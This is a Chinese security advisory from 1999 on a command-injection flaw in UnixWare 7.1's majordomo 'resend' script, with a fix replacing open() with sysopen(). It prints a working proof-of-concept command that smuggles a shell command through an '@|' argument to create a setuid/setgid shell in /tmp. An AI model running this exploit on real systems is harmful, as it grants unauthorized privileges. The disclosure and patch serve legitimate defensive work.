首页 -> 安全研究

安全研究

安全漏洞
UnixWare majordomo 安全漏洞

发布日期:1999-12-30
更新日期:1999-12-30

受影响系统:
SCO UnixWare 7.1
+majordomo 1.94.4
描述:
在UnixWare 7.1中缺省附带的majordomo包中存在一个安全漏洞,允许本地用户
获得额外的权限。目前已被测试的majordomo版本是1.94.4.

majordomo wrapper允许用户用"owner"的uid和"daemon"的gid来运行/usr/local/majordomo
目录下的程序。wrapper的属性被设置为:

-rwsr-xr-x    1 root     daemon         6464 Jan  4  1999   /usr/local/majordomo/wrapper

但在执行该程序前,wrapper会先setuid()到"owner",同时setgid()到"daemon"。
/usr/local/majordomo/resend是一个perl程序,它没有正确检查输入的参数,因而可能导致
安全问题。其中的有问题部分的代码如下:

-snip-

# If the first argument is "@filename", read the real arguments
# from "filename", and shove them onto the ARGV for later processing
# by &Getopts()
#
if ($ARGV[0] =~ /^\@/) {
    $fn = shift(@ARGV);
    $fn =~ s/^@//;
    open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");

-snip-

如果我们的第一个参数以"@"开始,resend将尝试用open()函数打开我们提供的文件名。但是
如果文件名是以"|"开始的话,open()就会去运行"|"后面的程序。因此,如果我们的第一个
参数是"@|id",resend就会去执行"id"这个命令。由于我们是通过wrapper来执行resend的,
resend其实是以owner:daemon的身份执行的,所以就可以获得"owner"用户和"daemon"组的权限。

< 发现者:     Brock Tellier (btellier@USA.NET) >



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh
/tmp/xnec;chmod 6555 /tmp/xnec'
resend: must specify '-l list' at /usr/local/majordomo/resend line 77.

bash-2.02$ ls -la /tmp/xnec
-r-sr-sr-x    1 owner    daemon       361688 Dec 29 06:26 /tmp/xnec

建议:
Todd C. Miller 提供了一个补丁,用sysopen()代替open():
----------------------------begin----------------------------
--- resend    Thu Aug 19 10:12:03 1999
+++ resend+    Tue Dec 28 23:55:39 1999
@@ -58,7 +58,7 @@
if ($ARGV[0] =~ /^\@/) {
     $fn = shift(@ARGV);
     $fn =~ s/^@//;
-    open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");
+    sysopen(AV, $fn, O_RDONLY) || die("sysopen(AV, \"$fn\", O_RDONLY): $!\nStopped");
     undef($/);    # set input field separator
     $av = <AV>;    # read whole file into string
     close(AV);
----------------------------end----------------------------



浏览次数:7162
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障